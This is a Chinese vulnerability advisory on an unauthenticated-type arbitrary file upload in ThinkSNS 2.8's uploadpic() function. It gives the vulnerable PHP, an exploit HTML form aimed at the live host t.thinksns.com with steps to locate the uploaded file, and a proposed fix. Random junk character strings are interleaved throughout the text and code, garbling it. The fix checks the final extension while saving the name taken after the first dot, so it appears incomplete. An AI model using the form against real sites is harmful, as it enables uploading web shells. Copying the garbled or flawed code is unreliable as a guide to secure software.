ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。

$ \: P, w( A& w! u
" H0 z6 f  h3 y' ?/ D\api\StatusesApi.class.php
! C: _- `5 ?0 @! j4 C. j5 O& s
function uploadpic(){
# q3 P1 j& c! X0 m0 N+ [! V3 h      if( $_FILES['pic'] ){
, X3 P9 w$ B: r) Y  D3 ?     //执行上传操作
2 x/ b" X( ?$ Z' j" s     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
$ Y; y8 \# B' I0 p8 P, D        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
9 m( d+ J$ Z2 `+ {" L# y       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
  n! [" r/ U( t7 `, ]5 K9 }     }else{
         $result['boolen']    = 0;
/ P* W+ {* M, }2 r1 F* }, V         $result['message']   = '上传失败';
     }
, w0 V6 y% [1 x+ d0 Areturn $result;
9 Y! r) x! T3 Z" {    }
unloadpic()方法没有对文件类型进行验证

4 p0 c3 @( X8 T" Q可以构建表单, 选择任意文件, 提交到
( [; h- x0 ~8 o$ l2 ]8 F5 b, Q$ Y" G/index.php?app=w3g&mod=Index&act=doPost
, h: h: n) J' x, M- o! }  Y- P
( E8 m" `$ e3 k* |8 X! _3 Q1 t在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)

& K8 f. K9 s8 \% Q- Q7 J: {
在登录thinksns官方微博后,
% F, u. J. r2 V1 \  ]构建以下表单:

<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
6 c' \( j6 [, Z4 f; u$ _8 [, @file: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
- v& e& E2 c  m" U</form>
去掉缩略图的前缀(small_ )
​修复方案：
' y! Q: e7 R: V3 M
& S  e2 O! S5 w- o
\api\StatusesApi.class.php
; _% f) z: B9 _! t1 O6 N
function uploadpic(){
     /**
      * 20121018 @yelo
      * 增加上传类型验证
, u3 K  E2 E; J0 ?8 F      */
9 I$ T5 ]6 u- F1 \9 N& s     $pathinfo = pathinfo($_FILES['pic']['name']);
& V" R$ ~7 n# C5 T" X9 [     $ext = $pathinfo['extension'];
) @8 h( i" ^  d8 J* m- b $allowExts = array('jpg', 'png', 'gif', 'jpeg');

( l2 ]4 j1 T  U+ I1 `     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

' a, \8 @0 _* l% j4 ]( ]* `     if( $uploadCondition ){
) w3 `2 s0 C2 v. n/ c     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
3 h) Y7 U* [0 x     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
* M$ v7 n( }: C/ l) b    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
( y1 b! u  c5 N: d       {
        $result['boolen']    = 1;
8 R( {$ i. H' H7 A# K        $result['type_data'] = 'temp/'.$filename;
# ~7 }$ X  Q  U* @3 O5 H; f- {        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
" h4 T$ U) w3 @' I: E        $result['boolen']    = 0;
8 v  Y& x9 f* N: r% Y- L- x1 ^, E        $result['message']   = '上传失败';
       }
- y/ M8 x- ^8 u- v2 t. _- ]     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
    }
​